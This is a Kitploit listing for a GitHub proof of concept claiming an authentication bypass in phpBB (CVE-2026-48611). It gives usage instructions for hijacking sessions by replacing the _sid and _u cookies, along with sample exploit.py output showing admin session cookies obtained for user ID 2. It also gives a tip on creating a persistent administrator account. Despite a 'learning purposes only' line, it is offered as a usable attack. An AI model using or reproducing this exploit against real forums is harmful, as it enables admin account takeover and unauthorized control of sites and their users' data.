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CVE-2026-48611-phpBB — Bypass Authentication | Kitploit
Tools/GitHubGitHub/wanmywan/cve-2026-48611-phpbb
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubwanmywan/cve-2026-48611-phpbb

CVE-2026-48611-phpBB

Bypass Authentication

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1 month agoNot yet reviewed

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CVE-2026-48611-phpBB

Bypass Authentication

simple poc bypass auth if you want to access via browser don't forget to change USER_AGENT variable in script according to what is displayed in your browser so it can work. use cookie editor to replace value *_sid and *_u

Affected: phpBB 3.3.16 and below + 4.0.0-a2

root@kitploit:~
phpbb  python3 exploit.py https://localhost:8000 joushk
[+] Target:  https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36

[+] Session cookies obtained:
    phpbb3_cl7ge_u: 2
    phpbb3_cl7ge_k: 
    phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.

[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd

[!!!This script is for learning purposes only]

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